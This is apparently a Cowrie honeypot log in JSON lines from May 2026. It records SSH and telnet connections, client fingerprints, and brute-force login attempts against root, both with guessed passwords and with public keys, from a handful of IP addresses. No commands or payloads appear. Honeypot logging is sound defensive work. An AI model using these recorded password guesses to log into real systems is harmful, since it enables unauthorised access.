{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:28.342367Z","src_ip":"87.251.64.176","session":"a3bab1167f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.28551983833313,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:32.989820Z","src_ip":"192.119.13.58","session":"e8cb70acc2d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31422781944275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:49.891905Z","src_ip":"192.119.13.58","session":"fd66bb826a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.50223731994629,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:52.791424Z","src_ip":"192.119.13.58","session":"3dc8c7d730a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":43402,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad3084b12109","protocol":"ssh","message":"New connection: 43.173.89.56:43402 (159.203.135.109:22) [session: ad3084b12109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:54.049868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:54.054056Z","src_ip":"43.173.89.56","session":"ad3084b12109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:54.124883Z","src_ip":"43.173.89.56","session":"ad3084b12109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tps","message":"login attempt [root/tps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:54.429465Z","src_ip":"43.173.89.56","session":"ad3084b12109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:55.501032Z","src_ip":"43.173.89.56","session":"ad3084b12109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38486,"dst_ip":"10.17.0.5","dst_port":23,"session":"b374f7af41e2","protocol":"telnet","message":"New connection: 192.119.13.58:38486 (10.17.0.5:23) [session: b374f7af41e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:55.538342Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":56056,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d6849cf4e1f","protocol":"ssh","message":"New connection: 43.153.39.191:56056 (159.203.135.109:22) [session: 4d6849cf4e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.358600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.364684Z","src_ip":"43.153.39.191","session":"4d6849cf4e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.433730Z","src_ip":"43.153.39.191","session":"4d6849cf4e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.135.73.205","src_port":46644,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b5e82cd21c7","protocol":"ssh","message":"New connection: 88.135.73.205:46644 (10.17.0.5:22) [session: 0b5e82cd21c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.531073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.536423Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.572675Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:b8:6b:97:13:04:2a:a9:f2:86:74:bf:a0:0a:1f:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC65SaU06jSsIxAxQSRW3/BLpoAVzKMlqa2KqCi4iSfpVJTRSRWiZa2miZkjYO5V44rlN0rFUUeTVGORQ2ZeK8HIyyJHhFOrfbolB15l2I+s7jS7iOlV1V+RdeHmZkzEua/j6LR+6YIknidw8/JC04YHF5FNKVYvySPoC7DV6QbK07Yvxsg+3tvsXlO8hoP2f3/0dY7bbqlZ39fjnFMVYd+0hHC2RpqtdafR0CqhDBfYURBuBb7VBut1lKy0ACQiaoFnNKXKYmOtM1QhlVFakWDDbjh/pOUCL58y1l2sLksMQdutWurVjTt1EEJ6UrS1zgbST0Bi6Mw8rlQQaLkGt+R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:b8:6b:97:13:04:2a:a9:f2:86:74:bf:a0:0a:1f:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.690705Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:b8:6b:97:13:04:2a:a9:f2:86:74:bf:a0:0a:1f:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC65SaU06jSsIxAxQSRW3/BLpoAVzKMlqa2KqCi4iSfpVJTRSRWiZa2miZkjYO5V44rlN0rFUUeTVGORQ2ZeK8HIyyJHhFOrfbolB15l2I+s7jS7iOlV1V+RdeHmZkzEua/j6LR+6YIknidw8/JC04YHF5FNKVYvySPoC7DV6QbK07Yvxsg+3tvsXlO8hoP2f3/0dY7bbqlZ39fjnFMVYd+0hHC2RpqtdafR0CqhDBfYURBuBb7VBut1lKy0ACQiaoFnNKXKYmOtM1QhlVFakWDDbjh/pOUCL58y1l2sLksMQdutWurVjTt1EEJ6UrS1zgbST0Bi6Mw8rlQQaLkGt+R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.695089Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:75:50:ca:9f:98:11:46:ad:c7:47:1d:ae:45:73:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKG08DaY3XBaDGrs6p6w1f9FsdoKgZ/16Nl4dqXKXFaWc/HCzA/uQ3waSZfODtCwXhpNThxmxszaCwFzsBv7IlvgfVJcVHnwg98ysSaBAYjwmE52D+iwHE+xrrgcBu+sWbdMtf3Tri1uirhIoA0ZIaSc6oYP2M+fr/ovLprdj9AAj7Nn39Jg03Y9G6db6xD70KfGmSfZAgMHna7RWvgr3PJzHhpww3HJk5HtFMe3LRH5pStPBQr8s4SpID54E5MkBXPS0C1VSYHjc1NdLzAtsLKAj84+CHgOHTEWL8lRsNaQjQUD6D0T9goeReBrUfpnJG6u6TUajs8YTkRBvZ8vvr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:75:50:ca:9f:98:11:46:ad:c7:47:1d:ae:45:73:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.725324Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:75:50:ca:9f:98:11:46:ad:c7:47:1d:ae:45:73:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKG08DaY3XBaDGrs6p6w1f9FsdoKgZ/16Nl4dqXKXFaWc/HCzA/uQ3waSZfODtCwXhpNThxmxszaCwFzsBv7IlvgfVJcVHnwg98ysSaBAYjwmE52D+iwHE+xrrgcBu+sWbdMtf3Tri1uirhIoA0ZIaSc6oYP2M+fr/ovLprdj9AAj7Nn39Jg03Y9G6db6xD70KfGmSfZAgMHna7RWvgr3PJzHhpww3HJk5HtFMe3LRH5pStPBQr8s4SpID54E5MkBXPS0C1VSYHjc1NdLzAtsLKAj84+CHgOHTEWL8lRsNaQjQUD6D0T9goeReBrUfpnJG6u6TUajs8YTkRBvZ8vvr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.734376Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:9a:16:c0:f7:ad:9e:54:3d:00:30:15:c3:44:4d:62","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBZorovZeJ1UcNHqELHW3L8WH9sfm23Dg/nJRFHDJwXO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 11:9a:16:c0:f7:ad:9e:54:3d:00:30:15:c3:44:4d:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.768532Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:9a:16:c0:f7:ad:9e:54:3d:00:30:15:c3:44:4d:62","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBZorovZeJ1UcNHqELHW3L8WH9sfm23Dg/nJRFHDJwXO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.773229Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste1234","message":"login attempt [root/teste1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.781154Z","src_ip":"43.153.39.191","session":"4d6849cf4e1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:65:fc:e7:28:53:bc:6a:d9:a9:47:e6:22:f3:4e:62","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOSSPTUgABNUD7DPAAcydcfT3rjPr1OaltEc9VFr6N9r+AaudHiiQjJR3btCYX4hLC8vGLhjoENIZ19sdwJtuQ0EJn8KN9K4w4NQvDib7LqB5arAEQTbQsBkrIQ1/3n2bWiH8SqUiQY0QJdjmEnb0gwq2y6W7g28NDH1yXwY/Tc7AAAAFQDy712cXG3jIJ+XR0nO69UF6WbubwAAAIAq7qkNXPbRCSrGEtclru022iMmAxgRaB+Qr+AGv0K0lu6x1aD5tvkkzASv9SJT54Ay9kkjbPszQSMTa8dS+IZZOuy6AAblzsvzkLDmJ2oqnUZykKbY58s54+ZaAPttsLENwAY83kubRenRV03b97WDD/Wprb2Uxal2GhCZNrkgbwAAAIEAzH5MsQMS+iISYN2OGP3OgGZqni3g9ZNoL7+ugFPvbASV0h41LvoV0ga8GVpoEsPAEkNrfLdvCO8C7AYeeJaG4/rFKBa5ZvJQpHYo6Jp1dt743OAFQ14kU2qvqzcQLEx8qk48L2DWNtwAFeYO/n8n8oi17xjrxvXOHRPSDLgRotE=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d5:65:fc:e7:28:53:bc:6a:d9:a9:47:e6:22:f3:4e:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.802640Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:65:fc:e7:28:53:bc:6a:d9:a9:47:e6:22:f3:4e:62","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOSSPTUgABNUD7DPAAcydcfT3rjPr1OaltEc9VFr6N9r+AaudHiiQjJR3btCYX4hLC8vGLhjoENIZ19sdwJtuQ0EJn8KN9K4w4NQvDib7LqB5arAEQTbQsBkrIQ1/3n2bWiH8SqUiQY0QJdjmEnb0gwq2y6W7g28NDH1yXwY/Tc7AAAAFQDy712cXG3jIJ+XR0nO69UF6WbubwAAAIAq7qkNXPbRCSrGEtclru022iMmAxgRaB+Qr+AGv0K0lu6x1aD5tvkkzASv9SJT54Ay9kkjbPszQSMTa8dS+IZZOuy6AAblzsvzkLDmJ2oqnUZykKbY58s54+ZaAPttsLENwAY83kubRenRV03b97WDD/Wprb2Uxal2GhCZNrkgbwAAAIEAzH5MsQMS+iISYN2OGP3OgGZqni3g9ZNoL7+ugFPvbASV0h41LvoV0ga8GVpoEsPAEkNrfLdvCO8C7AYeeJaG4/rFKBa5ZvJQpHYo6Jp1dt743OAFQ14kU2qvqzcQLEx8qk48L2DWNtwAFeYO/n8n8oi17xjrxvXOHRPSDLgRotE=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.809077Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:07:be:4a:1c:e3:29:51:6d:64:1e:65:68:95:a9:0c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7RKZ2osmYpQfk73OHXj262ZeAPmkVmgERDbaoJCw3t","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1e:07:be:4a:1c:e3:29:51:6d:64:1e:65:68:95:a9:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.841598Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:07:be:4a:1c:e3:29:51:6d:64:1e:65:68:95:a9:0c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7RKZ2osmYpQfk73OHXj262ZeAPmkVmgERDbaoJCw3t","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.846575Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:00.876094Z","src_ip":"88.135.73.205","session":"0b5e82cd21c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:01.859352Z","src_ip":"43.153.39.191","session":"4d6849cf4e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":36512,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c19415139f7","protocol":"ssh","message":"New connection: 43.130.16.4:36512 (159.203.135.109:22) [session: 0c19415139f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:20.119383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:20.125001Z","src_ip":"43.130.16.4","session":"0c19415139f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:20.194755Z","src_ip":"43.130.16.4","session":"0c19415139f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nitesh","message":"login attempt [root/nitesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:20.501914Z","src_ip":"43.130.16.4","session":"0c19415139f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:21.574693Z","src_ip":"43.130.16.4","session":"0c19415139f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.035320520401,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:38.573531Z","src_ip":"192.119.13.58","session":"b374f7af41e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":55050,"dst_ip":"159.203.135.109","dst_port":22,"session":"89144f3831e4","protocol":"ssh","message":"New connection: 181.47.9.103:55050 (159.203.135.109:22) [session: 89144f3831e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:46.374729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:46.379461Z","src_ip":"181.47.9.103","session":"89144f3831e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:46.523217Z","src_ip":"181.47.9.103","session":"89144f3831e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:47.129322Z","src_ip":"181.47.9.103","session":"89144f3831e4","protocol":"ssh"}
